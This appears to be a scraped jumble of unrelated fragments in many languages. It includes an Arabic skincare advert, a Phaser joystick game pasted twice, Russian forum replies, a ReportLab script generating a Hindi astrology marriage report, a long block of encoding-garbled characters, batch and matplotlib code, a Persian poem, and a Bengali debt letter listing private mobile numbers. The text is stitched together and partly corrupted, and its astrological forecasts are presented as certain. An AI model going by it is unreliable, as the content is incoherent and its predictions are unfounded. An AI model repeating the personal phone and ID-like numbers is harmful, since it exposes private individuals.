تحسين التجاعيد بدت تبين؟ وبشرتچ صايرة باهتة؟ جرّبي سيروم فيتامين سي من FLORENCE، يعيد لبشرتچ نضارتها ويوحّد اللون من أول أسبوع! بيصير ويهج يشعّ، وبتحسين بالفرق كل يوم… هو الحل اللي يريحچ من التعب والبهتان. لا تفوتين الفرصة، الكمية محدودة والعرض بتنتهي
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/phaser-arcade-physics.min.js"></script>
<style>
body {
margin: 0;
overflow: hidden;
}
</style>
</head>
<body>
<script>
const config = {
type: Phaser.AUTO,
width: window.innerWidth,
height: window.innerHeight,
scene: {
preload: preload,
create: create,
update: update
},
physics: {
default: 'arcade',
arcade: {
gravity: { y: 0 },
debug: false
}
}
};
let player;
let enemy;
let joystick;
let score = 0;
let scoreText;
let gameOver = false;
const game = new Phaser.Game(config);
function preload() {
this.load.image('player', 'assets/sprites/player.png');
this.load.image('enemy', 'assets/sprites/enemy.png');
}
function create() {
// Создание игрока
player = this.physics.add.sprite(400, 300, 'player');
player.setScale(0.5);
player.setCollideWorldBounds(true);
// Создание врага
enemy = this.physics.add.sprite(100, 100, 'enemy');
enemy.setScale(1.5);
enemy.setTint(0xff0000);
// Виртуальный джойстик
joystick = this.plugins.get('virtual-joystick').add(this, {
radius: 50,
x: 100,
y: config.height - 100,
base: this.add.circle(0, 0, 50, 0x888888).setAlpha(0.5),
thumb: this.add.circle(0, 0, 25, 0xcccccc).setAlpha(0.5)
});
// Текст счета
scoreText = this.add.text(20, 20, 'Score: 0', {
fontSize: '24px',
fill: '#fff',
backgroundColor: '#000'
});
// Коллизия игрока с врагом
this.physics.add.overlap(player, enemy, hitEnemy, null, this);
}
function update() {
if (gameOver) return;
// Движение игрока
const speed = 200;
if (joystick.force > 0) {
player.setVelocityX(joystick.velocityX * speed);
player.setVelocityY(joystick.velocityY * speed);
} else {
player.setVelocity(0);
}
// Преследование врага
this.physics.moveToObject(enemy, player, 250);
// Обновление счета
score += 0.1;
scoreText.setText(`Score: ${Math.floor(score)}`);
}
function hitEnemy() {
gameOver = true;
player.setTint(0xff0000);
this.physics.pause();
this.add.text(config.width/2 - 100, config.height/2, 'Game Over!\nTap to restart', {
fontSize: '32px',
fill: '#fff',
backgroundColor: '#000'
}).setInteractive()
.on('pointerdown', () => location.reload());
}
// Плагин для виртуального джойстика
class VirtualJoystickPlugin extends Phaser.Plugins.BasePlugin {
constructor(pluginManager) {
super(pluginManager);
pluginManager.registerGameObject('virtualJoystick', this.createJoystick);
}
createJoystick(config) {
return new VirtualJoystick(this.scene, config);
}
}
class VirtualJoystick {
constructor(scene, { radius, x, y, base, thumb }) {
this.scene = scene;
this.radius = radius;
this.base = base.setPosition(x, y);
this.thumb = thumb.setPosition(x, y);
this.position = new Phaser.Math.Vector2(x, y);
this.force = 0;
this.velocityX = 0;
this.velocityY = 0;
this.pointer = scene.input.activePointer;
this.isDown = false;
scene.input.on('pointerdown', this.onDown, this);
scene.input.on('pointerup', this.onUp, this);
scene.input.on('pointermove', this.onMove, this);
}
onDown(pointer) {
if (Phaser.Geom.Circle.ContainsPoint(this.base.getBounds(), pointer)) {
this.isDown = true;
}
}
onUp() {
this.isDown = false;
this.thumb.setPosition(this.position.x, this.position.y);
this.force = 0;
this.velocityX = 0;
this.velocityY = 0;
}
onMove(pointer) {
if (this.isDown) {
const deltaX = pointer.x - this.position.x;
const deltaY = pointer.y - this.position.y;
const angle = Math.atan2(deltaY, deltaX);
const distance = Math.min(Phaser.Math.Distance.Between(
this.position.x,
this.position.y,
pointer.x,
pointer.y
), this.radius);
this.thumb.setPosition(
this.position.x + Math.cos(angle) * distance,
this.position.y + Math.sin(angle) * distance
);
this.force = distance / this.radius;
this.velocityX = Math.cos(angle);
this.velocityY = Math.sin(angle);
}
}
}
// Регистрация плагина джойстика
Phaser.Plugins.PluginManager.register('virtual-joystick', VirtualJoystickPlugin, 'virtualJoystick');
</script>
</body>
</html>
Для работы игры вам нужно:
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/phaser-arcade-physics.min.js"></script>
<style>
body {
margin: 0;
overflow: hidden;
}
</style>
</head>
<body>
<script>
const config = {
type: Phaser.AUTO,
width: window.innerWidth,
height: window.innerHeight,
scene: {
preload: preload,
create: create,
update: update
},
physics: {
default: 'arcade',
arcade: {
gravity: { y: 0 },
debug: false
}
}
};
let player;
let enemy;
let joystick;
let score = 0;
let scoreText;
let gameOver = false;
const game = new Phaser.Game(config);
function preload() {
this.load.image('player', 'assets/sprites/player.png');
this.load.image('enemy', 'assets/sprites/enemy.png');
}
function create() {
// Создание игрока
player = this.physics.add.sprite(400, 300, 'player');
player.setScale(0.5);
player.setCollideWorldBounds(true);
// Создание врага
enemy = this.physics.add.sprite(100, 100, 'enemy');
enemy.setScale(1.5);
enemy.setTint(0xff0000);
// Виртуальный джойстик
joystick = this.plugins.get('virtual-joystick').add(this, {
radius: 50,
x: 100,
y: config.height - 100,
base: this.add.circle(0, 0, 50, 0x888888).setAlpha(0.5),
thumb: this.add.circle(0, 0, 25, 0xcccccc).setAlpha(0.5)
});
// Текст счета
scoreText = this.add.text(20, 20, 'Score: 0', {
fontSize: '24px',
fill: '#fff',
backgroundColor: '#000'
});
// Коллизия игрока с врагом
this.physics.add.overlap(player, enemy, hitEnemy, null, this);
}
function update() {
if (gameOver) return;
// Движение игрока
const speed = 200;
if (joystick.force > 0) {
player.setVelocityX(joystick.velocityX * speed);
player.setVelocityY(joystick.velocityY * speed);
} else {
player.setVelocity(0);
}
// Преследование врага
this.physics.moveToObject(enemy, player, 250);
// Обновление счета
score += 0.1;
scoreText.setText(`Score: ${Math.floor(score)}`);
}
function hitEnemy() {
gameOver = true;
player.setTint(0xff0000);
this.physics.pause();
this.add.text(config.width/2 - 100, config.height/2, 'Game Over!\nTap to restart', {
fontSize: '32px',
fill: '#fff',
backgroundColor: '#000'
}).setInteractive()
.on('pointerdown', () => location.reload());
}
// Плагин для виртуального джойстика
class VirtualJoystickPlugin extends Phaser.Plugins.BasePlugin {
constructor(pluginManager) {
super(pluginManager);
pluginManager.registerGameObject('virtualJoystick', this.createJoystick);
}
createJoystick(config) {
return new VirtualJoystick(this.scene, config);
}
}
class VirtualJoystick {
constructor(scene, { radius, x, y, base, thumb }) {
this.scene = scene;
this.radius = radius;
this.base = base.setPosition(x, y);
this.thumb = thumb.setPosition(x, y);
this.position = new Phaser.Math.Vector2(x, y);
this.force = 0;
this.velocityX = 0;
this.velocityY = 0;
this.pointer = scene.input.activePointer;
this.isDown = false;
scene.input.on('pointerdown', this.onDown, this);
scene.input.on('pointerup', this.onUp, this);
scene.input.on('pointermove', this.onMove, this);
}
onDown(pointer) {
if (Phaser.Geom.Circle.ContainsPoint(this.base.getBounds(), pointer)) {
this.isDown = true;
}
}
onUp() {
this.isDown = false;
this.thumb.setPosition(this.position.x, this.position.y);
this.force = 0;
this.velocityX = 0;
this.velocityY = 0;
}
onMove(pointer) {
if (this.isDown) {
const deltaX = pointer.x - this.position.x;
const deltaY = pointer.y - this.position.y;
const angle = Math.atan2(deltaY, deltaX);
const distance = Math.min(Phaser.Math.Distance.Between(
this.position.x,
this.position.y,
pointer.x,
pointer.y
), this.radius);
this.thumb.setPosition(
this.position.x + Math.cos(angle) * distance,
this.position.y + Math.sin(angle) * distance
);
this.force = distance / this.radius;
this.velocityX = Math.cos(angle);
this.velocityY = Math.sin(angle);
}
}
}
// Регистрация плагина джойстика
Phaser.Plugins.PluginManager.register('virtual-joystick', VirtualJoystickPlugin, 'virtualJoystick');
</script>
</body>
</html>
Please post answer...................................
ааа всё, ПОНЯЛ.... Запятая перед закр. скобкой ну совсем не нужна... всем спасибки)))
Здравствуйте не могу войти в лурк These credentials do not match our records вот это выдает
OMG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
⠀⠀⠀⣴⣿⠋⢠⣟⡼⣷⠼⣎⣼⢇⣿⣄⠱⣄ ⠀⠀⠀⠀⠀⠀⠹⣿⡀⣆⠙⠢⠐⠉⠉⣴⣾⣽⢟⡰⠃ ⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣦⠀⠤⢴⣿⠿⢋⣴⡏⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢸⡙⠻⣿⣶⣦⣭⣉⠁⣿⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⠀⠈⠉⠉⠉⠉⠇⡟⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢀⠀⠀⣘⣦⣀⠀⠀⣀⡴⠊⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠈⠙⠛⠛⢻⣿⣿⣿⣿⠻⣧⡀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠫⣿⠉⠻⣇⠘⠓⠂⣀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠈⠉⠉⠉⠀⠀
header 1 | header 2 |
---|---|
cell 1 | cell 2 |
cell 3 | cell 4 |
⢶⣾⣿⣿⣿⣿⣿⣶⣄⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠹⣿⣿⣿⣿⣿⣿⣿⣧⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠈⠙⠻⢿⣿⣿⠿⠛⣄⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀
header 1 | header 2 |
---|---|
cell 1 | cell 2 |
cell 3 | cell 4 |
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠁⠀⠀⠀⠀⠀⠀⠀
header 1 | header 2 |
---|---|
cell 1 | cell 2 |
cell 3 | cell 4 |
from reportlab.pdfgen import canvas
# Update PDF with additional page
pdf_path_updated = "/mnt/data/Dhananjay_Shaadi_Report_Updated.pdf"
c = canvas.Canvas(pdf_path_updated, pagesize=A4)
width, height = A4
# Page 1 - same as before
c.setFont("Helvetica-Bold", 18)
c.drawCentredString(width / 2, height - 50, "विवाह रिपोर्ट - धनंजय पाटिल")
c.setFont("Helvetica", 12)
c.drawString(50, height - 90, "जन्म विवरण:")
c.drawString(70, height - 110, "तारीख: 15 जून 2003")
c.drawString(70, height - 130, "समय: शाम 7:15")
c.drawString(70, height - 150, "स्थान: सूरत, गुजरात")
text = c.beginText(50, height - 190)
text.setFont("Helvetica", 11)
text.textLines("""
सप्तम भाव (विवाह स्थान) कुंडली में अच्छे प्रभाव में है। यह दर्शाता है कि:
- आपकी शादी प्रेम और समझदारी से भरी होगी।
- जीवनसाथी कलात्मक या मीडिया क्षेत्र से जुड़ी हो सकती है।
- जीवनसाथी सुंदर, शांत स्वभाव और भावनात्मक रूप से गहराई वाली होगी।
शादी की संभावित उम्र:
- 25 से 28 वर्ष के बीच विवाह होने की संभावना है।
शादी का प्रकार:
- पंचम और सप्तम भाव के शुभ संबंध दर्शाते हैं कि यह लव मैरिज हो सकती है या आपकी करीबी दोस्त से विवाह हो सकता है।
विवाह के बाद:
- जीवनसाथी आपके करियर और बिजनेस में सहयोगी सिद्ध होगी।
- विवाह के बाद आपके जीवन में स्थिरता और प्रगति आएगी।
टिप:
- गुरुवार और शुक्रवार को विवाह संबंधित निर्णय लेना शुभ रहेगा।
- जीवनसाथी से मिलने के संकेत मीडिया, क्रिएटिव फील्ड, या नेटवर्किंग के माध्यम से संभव हैं।
""")
c.drawText(text)
# Page 2 - Partner origin and background
c.showPage()
c.setFont("Helvetica-Bold", 16)
c.drawCentredString(width / 2, height - 50, "जीवनसाथी का स्थान और पृष्ठभूमि")
text2 = c.beginText(50, height - 100)
text2.setFont("Helvetica", 11)
text2.textLines("""
आपकी कुंडली के अनुसार:
- राहु का प्रभाव और सप्तम भाव की स्थिति यह संकेत देती है कि आपकी जीवनसाथी संभवतः आपके शहर 'सूरत' से नहीं, बल्कि किसी अन्य शहर या राज्य से हो सकती है।
- यह रिश्ता किसी सोशल मीडिया, डिजिटल प्लेटफ़ॉर्म, या कार्य के माध्यम से बन सकता है।
- जीवनसाथी का स्वभाव गंभीर, रचनात्मक और समझदार हो सकता है। वो कला, फैशन, मीडिया या डिज़ाइन से जुड़ी हो सकती हैं।
स्थान की संभावनाएँ:
- पश्चिम भारत (राजस्थान, महाराष्ट्र आदि) या दक्षिण भारत की पृष्ठभूमि।
- शादी के बाद संभवतः स्थान परिवर्तन या नए शहर में रहने की संभावना।
आपका यह संबंध सिर्फ भावनात्मक नहीं बल्कि करियर और सोच में भी संतुलन लाएगा।
""")
c.drawText(text2)
c.save()
pdf_path_updated
what does this say? ԡ‡‚ ≻敫摩㨢∠挱㝢㘷搸㐭㠰ⵡ㐴㜹戭㕣ⵦ散慢昵㌲ㄳ㈳Ⱒ∠楦敬猭慨㨢∠挹㈶㠵ㄵㄷ㈷㈷づ㠸挲づ㤴㍣㡦㕢捣㌱㤸改晢㠶搶〹〲ㄴ愰㙤㤲散㘴㡥㌶索ஂ 븑纋◦嗝轇䟝옆첨酷滊旜驸שׁ 䓷畱渴죇ର䎠騘筧裧弅䵗ģཕ麴ႇ튝⽴ꕅ巬ꡔ뮢㕸羟捞 ﮥ㷖㋀됲Ꚏ㞂涸等㷤关沒ꄎﺜ懜ꯦ哾朡嫢춨ₛ⥆ㅱ㛩ᏽꘪꭔ퍄䦕┲گ쭌뛐蔶溶⌚漹ӓ瘯綢땿椉圹ꎷﺥ썶╒셂䞝 鯝佀禣溽㶀骣辑굇㫛럜᫈蘙楖糽㧀ϙ딣ꪳ녿Ꞽය⬴ટ蹸㋄븹骫虡ꂁ曛睊ἐ㎈뢲㪄놬想ᴺ螞눛併䏉봳 戾쎯㬾㾋븙ṹ뻓⠖䯪胇ᴮ ָ꾅텅ၞ⥍Pꚑ闧ᵦ華ٜ鉧焴菈膓坾ﭹঞ๙珽宐蔘籰旑ԓ铗芖㿏̟孬顶榊鉇뙶ᬄᩊ䆆迤싞诟钹뇬 灼ᶫ삾⣘⽧往站沲꿴췽꘩ឨᶏ皽䫧뜖ඥ걜쑫ǘຆ䐧轾醆佸ᾯ쑥⯁Ꮕ宏〸ꣿ흣뼧Տ妢㤭䗡쮫㗱ꑳ쯲ഽஞ豵鶯䙼㉠ﱮ吼ꇶŽ碵ႆ뜏곌뫟䓪뤢폝쮥砻걤럂뗌窻傿ﭓㅢ蠼츹掺ᤞﴥ㍃ҁᘩ綐驔鞗艻뷑㼨읪곺碯큜悔ꁄȿ﹊電矬굼탪楶鵑ዄ℅㾓춴檭䩊ꨜ挾褴兹쉸쏕泠᧶も絯馘퍪ᔩ蓚ⷡ窹桕᱑埚ᾟꏡ猲믑漦⿌䣈舅福䤻︙伕䌅풃蓳濴냬䖛锌ᩗ蜅r䝅툅㙫ݙ᧞詚灧鐄∼尔↤ᐢṒ슱䦤 咜ᤘ┲蝐Ԇꢉ〄丆阽옕 裪毺澾ݖ횘ꡢ褐么̬涆逘ꕰ阎눀ᯈퟛ級籸彵紀悔푷⯁쌃ꋆ職ꟕ柌ᮁࣺ媅य⟣鹙擝˯ᇺ낥៱䎇˼ㆠ̭쥗 霓⮙⤴ᣥ됣䳝≕톴阗㊅皠璁Ῠ⇟秀᮪料 眩멾㨣鹠ទ䟇ꌸ袟鳳뚀㚙崙碌ꜞ窹⿔嶉홮덼촷耇똵䈃ᬋגּ 㽌܊䛝ꃼ뭟ﱀ㡫‰蘢➫ﱥ雔枺剕䶔掛ឤ潢뢶鉏龾损瘆뛇エ鬕껗綏ঢ틹醑ꍃ⊫㉧㦃觱潭㑷隰優搴凍祉욄ίꇢ זּ軔厫ᏽⷆཡ୰冡ᮈ끟슫䶕?㴔툴슣궧쵆Һ䬹琚賥 ꣬䤕蚢ቔ눛훑⦜%㖨省埦ꈵ㛹磨梆鋵謜ꭄ膀僒袳°蚭᱾盛瞱绨ᙍ驷兇庤吮腏력麕ꌐ쎲❼浉啅㹵䣏뱋ꅒ晲㇖撽ऑ剺柒뗃곂奸㘠 镌수㼪ʉ泶坍퀾鎦ﴘ蝃ꉹ⽳ 쇃罵誁欜벥ᚾ瀸╆ꐕ憓巣븞춼ᰆ魜帎뎣⊆ᧀ梙㭒㯷ꅴ㷺蛼䡧ꬾ馳㐉뇡섚㸫黓轔汷ᖸ狊䱳ᕲ饀嘌餘 퍂냘ᝆ䢪 䋧鯙誉頢֏辁ƿ࠺涕輹ꃽ攂ⵥﱫඞ藯襪봣냴בּ逕鶏㌄≷뗻ㄦ窉᭻ᬇ橌ﻰ穻꺤トசꤌ慧ᙒ갆 䌳ᖭ輚龆핍升辁릻㦖殞酿ɞ䂗掅ⶨ苼繁㛹䞽エ홄킱玭錣爂嗀ᅱ厃팋蠇혂縦騨९鰿祼猲䣒밴Ịᘵ笆⿹⇝됡뷇⥎ꑧ䗫♛굏좞塗蟵冬툣薃㦭赯鱘ﮢ씧ૣᕞ㿯⣣蔽鬲ѽ긍⭪䡈낊荲㷨귔汉唝ܴ﹑홒鈉ä춮없芩₼峼䪒ᨹᗕ᪵뭴뙶룯鵎瀌䍍錂蘻퉾⳰ꆿ㚵夓痤⫖㿩棝땱ሃ믇Ⱈ鐠髭뀺堍迡݉蕇毘爤䑹ો䙉⸢⥉⇻勋৽鍸呡蟎藣蘫벬榿Ꮮᬘ坹違巼榋뒄ꚍښﰃ䗰蔆횷 趫䁥ꐗ彰귢벝䈢㢊⤨驲䞪㭼芭᧭乒䧻豗᭠ނ䗂헰ꛫඛﯣ馘鈁潃 ꪹ嵮ࣄ㤇飻珌풍䘙뇉鱅짼峐ⅇ惵ᝇἎ揄 ꛵⭎洦픴Τ섇羫쫗礳餳憪핏ζ쁥襫댧ᅍ 篋쒃껋뜀毽幻㈻鞪싳ᶊ䉈⋯픞춤닀߄㒟ꥪﳖ䳬 㯋㶧᧷䑘抲締쫕⫢⌔ 顑鮴뮣缏➁洆泐ᕱ츝ض⼠挽췸輘폣锜墤脑传㝏䜂됌퉇Ⓥ 탣舞㙵 徵⾛ཪᗐ⨖ೋ놻汴窙⨷奧ୂ언㳶춙紖샞䝒侀莖Ꚋ篾䃽媒駎곋蔃♻↙᥍뺲쐭눳㕡Ͽ祇툫ᔢ䁹摍ꀫ牢Ꞓ툺䫗ֶ߀呤攧碣ﰱ쎩 祆 䣫㜆쨷狖䱋魥䎴⏧룥ꃸ캤㑫頎躻눃⇘ᘗ쩣䘺㿌⻎髑酷ᴅ쩀紀撡戂蠍䥩䈪唙ዐ➫⺅ᑂ⧢曢↡✼媢얇鱛紦㽏ᡅ䦏Е밅Ũᴪ䌔㳴⠽紮骍豍ꂷ꾙椇䀞䥻ᓛ㼽䕳ꏵ汈㮿ꂭ菞ᗵඬ駧遗谄贛扁쬲撛ठ⎇ ゚눆㶜㏌ワᡨ傃 ꚗ껂毁뷶 ͥ聢뎈╈ꗈ顋띖塰●ݿ뫉ᎎ䬏풉뎭蚙瀾皀ꮼ뉲⁚咍ﲴⓧᏲ㑞큆焝ᔼֆ㩨䘆㩧ைꔍ舕圣梽䭒浟樑恑Ỻ쒑ዽ庄 쥁첞ᰥ耸㯵Ꟈ䄮 䇬 竜쩧ΰꬅ㖶됙 ꦰ驁Ᵹ➠ꇑ꧈┐╠쌒ꋨ泻ꯥ┝රྭ〝㖋泥ԼЭޅÊ帄砋憵怿醠摵枧폵ᅦ흐遈둮嚀箈齾偖抢즃쇀䊙퍹▇鉇ᬚ審벱쭻꧱퇭ď䴇н堀桮ߏ쳤⧗䫴⟘왟怴䎻拍锬꽜Ḟ휮┪⇳䧧宕犻핽嶢堳낟羽삟鳾 㻉窮鄯祔 㱽殯䤣猓㽽啩Ꝋ샡郷㳱粉佷㦅Ꮝ鞰 벱렀ꅃ킹볂訍抇쉐ꑮ␦楔ꔈ膀㯃ⱀ좷㊏瘝⸴劍訩森⼏鿽葕苫Ɗ鈱㜀흉忧剻摦즞
I tried your code for my .csv file with (,) as delimiter using the below code and i got output file with no data. Can you pls help if i am missing anything here to delete my last column out of 12 columns.
================================================================================================================
@echo off
setlocal EnableDelayedExpansion
(for /f "delims=" %%x in (MonthlyRecon_Actual.csv) do (
set "line=%%x"
for /F "tokens=1-5* delims=|" %%a in ("!line:,=|,!") do (
set "line=%%a%%b%%c%%d%%f"
)
echo !line:|=!
))>>MonthlyRecon_Actual_out.csv
===================================================================================================================
через Event Dispatcher делай. Так и делают, по другому никак
import matplotlib.pyplot as plt
import numpy as np
# دادهها
روزها = ['روز 0', 'روز 7', 'روز 14', 'روز 28', 'روز 56']
روزها_عددی = np.array([0, 7, 14, 28, 56])
# ویژگیهای تخمیری
pH_WCC = [6.20, 4.38, 4.28, 4.22, 4.18]
pH_C_TMR = [5.78, 4.45, 4.36, 4.30, 4.26]
لاکتیک_WCC = [4.2, 62.4, 71.5, 75.8, 78.3]
لاکتیک_C_TMR = [6.8, 54.7, 62.9, 66.3, 69.0]
استیک_WCC = [2.6, 18.5, 20.9, 21.7, 22.4]
استیک_C_TMR = [3.9, 14.2, 17.5, 19.1, 20.2]
پروپیونیک_WCC = [0.5, 1.2, 1.4, 1.5, 1.5]
پروپیونیک_C_TMR = [0.7, 0.9, 1.2, 1.3, 1.4]
بوتیریک_WCC = [0.2, 0.5, 0.4, 0.3, 0.3]
بوتیریک_C_TMR = [0.1, 0.3, 0.2, 0.2, 0.2]
آمونیاک_WCC = [44.6, 63.2, 61.7, 59.8, 57.9]
آمونیاک_C_TMR = [32.3, 48.7, 46.9, 45.2, 44.0]
# جمعیت میکروبی
باکتری_لاکتیک_WCC = [5.88, 8.71, 8.58, 8.46, 8.35]
باکتری_لاکتیک_C_TMR = [6.23, 8.42, 8.30, 8.18, 8.08]
باکتری_هوازی_WCC = [6.14, 4.02, 3.65, 3.40, 3.20]
باکتری_هوازی_C_TMR = [5.73, 3.77, 3.44, 3.25, 3.11]
مخمر_WCC = [5.20, 3.40, 3.00, 2.75, 2.60]
مخمر_C_TMR = [4.80, 3.20, 2.90, 2.65, 2.50]
# ترسیم نمودارها
fig, axs = plt.subplots(2, 1, figsize=(12, 10), sharex=True)
# نمودار ویژگیهای تخمیری
axs[0].plot(روزها_عددی, pH_WCC, marker='o', label='pH - WCC')
axs[0].plot(روزها_عددی, pH_C_TMR, marker='o', label='pH - C-TMR')
axs[0].plot(روزها_عددی, لاکتیک_WCC, marker='s', label='اسید لاکتیک - WCC')
axs[0].plot(روزها_عددی, لاکتیک_C_TMR, marker='s', label='اسید لاکتیک - C-TMR')
axs[0].plot(روزها_عددی, استیک_WCC, marker='^', label='اسید استیک - WCC')
axs[0].plot(روزها_عددی, استیک_C_TMR, marker='^', label='اسید استیک - C-TMR')
axs[0].plot(روزها_عددی, پروپیونیک_WCC, marker='v', label='اسید پروپیونیک - WCC')
axs[0].plot(روزها_عددی, پروپیونیک_C_TMR, marker='v', label='اسید پروپیونیک - C-TMR')
axs[0].plot(روزها_عددی, بوتیریک_WCC, marker='d', label='اسید بوتیریک - WCC')
axs[0].plot(روزها_عددی, بوتیریک_C_TMR, marker='d', label='اسید بوتیریک - C-TMR')
axs[0].plot(روزها_عددی, آمونیاک_WCC, marker='x', label='آمونیاک-N - WCC')
axs[0].plot(روزها_عددی, آمونیاک_C_TMR, marker='x', label='آمونیاک-N - C-TMR')
axs[0].set_title('ویژگیهای تخمیری در طول زمان')
axs[0].set_ylabel('مقدار (g/kg DM یا pH)')
axs[0].grid(True)
axs[0].legend(loc='upper right', fontsize=8)
# نمودار جمعیت میکروبی
axs[1].plot(روزها_عددی, باکتری_لاکتیک_WCC, marker='o', label='باکتری لاکتیک - WCC')
axs[1].plot(روزها_عددی, باکتری_لاکتیک_C_TMR, marker='o', label='باکتری لاکتیک - C-TMR')
axs[1].plot(روزها_عددی, باکتری_هوازی_WCC, marker='s', label='باکتری هوازی - WCC')
axs[1].plot(روزها_عددی, باکتری_هوازی_C_TMR, marker='s', label='باکتری هوازی - C-TMR')
axs[1].plot(روزها_عددی, مخمر_WCC, marker='^', label='مخمر - WCC')
axs[1].plot(روزها_عددی, مخمر_C_TMR, marker='^', label='مخمر - C-TMR')
axs[1].set_title('جمعیت میکروبی در طول زمان')
axs[1].set_xlabel('روز')
axs[1].set_ylabel('log₁₀ cfu/g FM')
axs[1].grid(True)
axs[1].legend(loc='upper right', fontsize=8)
plt.tight_layout()
plt.show()
Я просто снёс все старое и с нуля написал, набрал всё новое. Ушло дня три, но всё работает. Возможно, так будет проще, за одно и рефакторинг проведёте, вспомните, узнаете что-то новое )
А там много чего там есть и чего-то нет, в двух словах не опишешь. Но необходимые вещи для работы описаны на самом сайте Кейклока (нужные 3-4 либы). Там все инструкции должны быть.
import matplotlib.pyplot as plt
import numpy as np
# تعريف المتغير x وتجنب القسمة على صفر
x = np.linspace(-10, 10, 1000)
x = x[x != 0] # لتجنب x = 0
# تعريف الدالة وخط التقارب المائل
f_x = (6 * x**2 - 3 * x + 2) / x
asymptote = 6 * x - 3
# رسم الدالة وخط التقارب المائل
plt.figure(figsize=(10, 6))
plt.plot(x, f_x, label=r'$f(x) = \frac{6x^2 - 3x + 2}{x}$', color='blue')
plt.plot(x, asymptote, label=r'خط التقارب المائل: $y = 6x - 3$', linestyle='--', color='red')
# إعدادات الرسم
plt.axhline(0, color='black', linewidth=0.5)
plt.axvline(0, color='black', linewidth=0.5)
plt.ylim(-100, 100)
plt.xlim(-10, 10)
plt.grid(True)
plt.legend()
plt.title('تمثيل الدالة مع خط التقارب المائل')
plt.xlabel('x')
plt.ylabel('f(x)')
plt.show()
s/((?:[^”]|”[^”]+”)*)\s*—-.*/$1/
没有大神回答一下吗 我也遇到了同样问题,我是使用NotificationHub.php,错误是一样的
به یاد من
به یاد بغز های تو گلوم
به یاد تو
به یاد درد های بی امون
به یاد همه روز های گزاشت رفت
به یاد جوونی له شده ت گزشتم
به یاد دفترا
به یاد رفتنا
به یاد قدم های محکوم به قه قرا
به یاد مادری که گناهش مادریه
به یاد پدری که جون داد تا یه تیکه نون بده
به یاد چشماش که خشکه پادریه
به یاد پدر و سفره های ممتد
به یاد دستای خالی و غصه های پر درد
به یاد ساز بی صدا اشنای بی نگاه
به یاد فروش نفس تو بازار ریا
به یاد بچه های سرخ به سیلی سیاه
from fpdf import FPDF
from datetime import datetime
# বর্তমান তারিখ
today = datetime.today().strftime("%d/%m/%Y")
# চিঠির বিষয়বস্তু
letter_content = f"""
প্রাপক:
মরহুম মোঃ আমিনুর ইসলাম-এর পরিবার/উত্তরাধিকারীগণ
গ্রাম: পাঁচগাছী, উপজেলা: কুড়িগ্রাম সদর, জেলা: কুড়িগ্রাম।
মোবাইল: 01712398384
বিষয়: ধার পরিশোধ সংক্রান্ত
মান্যবর,
আমি মোঃ আলআমিন সরকার, পিতা: মৃত- আবুল হোসেন, গ্রাম: পলাশবাড়ী, ডাকঘর: খলিলগঞ্জ, উপজেলা: কুড়িগ্রাম সদর, জেলা: কুড়িগ্রাম। ২০১৬ সাল থেকে মরহুম মোঃ আমিনুর ইসলাম এর সঙ্গে সুসম্পর্কে ছিলাম। আমাদের ব্যক্তিগত সম্পর্কের ভিত্তিতে, তিনি আমার নিকট মোট চার ধাপে ৫৮,০০০/- টাকা ধার গ্রহণ করেন। নিচে ধার নেওয়ার তারিখ ও পরিমাণ উল্লেখ করা হলো:
১। [তারিখ] - [টাকার পরিমাণ]
২। [তারিখ] - [টাকার পরিমাণ]
৩। [তারিখ] - [টাকার পরিমাণ]
৪। [তারিখ] - [টাকার পরিমাণ]
এই লেনদেনগুলো আমার ব্যক্তিগত নোটবুকে লিখিত রয়েছে এবং একটি বা একাধিক লেনদেনের সময় একজন সাক্ষী উপস্থিত ছিলেন।
মরহুমের হঠাৎ মৃত্যুতে আমি গভীরভাবে শোকাহত, কিন্তু এই আর্থিক বিষয়টি নিয়ে আমি বিপাকে পড়েছি।
আপনাদের কাছে বিনীত অনুরোধ, মরহুমের সম্পত্তির উত্তরাধিকারী হিসেবে এই দেনার বিষয়টি বিবেচনায় এনে তা পরিশোধের ব্যবস্থা গ্রহণ করবেন।
আপনাদের সদয় সহযোগিতা প্রত্যাশা করছি।
ইতি,
মোঃ আলআমিন সরকার
মোবাইল: 01740618771
তারিখ: {today}
У меня раньше тоже работало без проблем
final KeycloakAuthenticationToken auth = (KeycloakAuthenticationToken) SecurityContextHolder.getContext().getAuthentication();
но теперь cast exception.
Cannot cast 'org.springframework.security.oauth2.server.resource.authentication.JwtAuthenticationToken' to 'org.keycloak.adapters.springsecurity.token.KeycloakAuthenticationToken'
Без понятия, что ему надо и как быть.
อีคิวเอ็มเอสอาร์บีซเอ็มดับเบิลยู0
Нельзя в ворде добавлять водные знаки на разные страницы, только один и на все страницы
������ ����!
�� �������� ������ �� ���� (��������)
��� �901��977 ����� ��������� ���������� ���89251913410 ������� 4614 757947 ����� ��?6 ������������ ����� ������ �� ���������� ���. � ��������� ��������� ������� 22.01.2015
const data = [ { "label": "A", "seriesA": 45, "seriesB": 20, }, { "label": "B", "seriesA": 62, "seriesB": 50, }, { "label": "C", "seriesA": 38, "seriesB": 80, }, { "label": "D", "seriesA": 75, "seriesB": 40, }, ];
видимо никак, либо тут недостаточно опытные разработчики сидят
So have u fixed that?
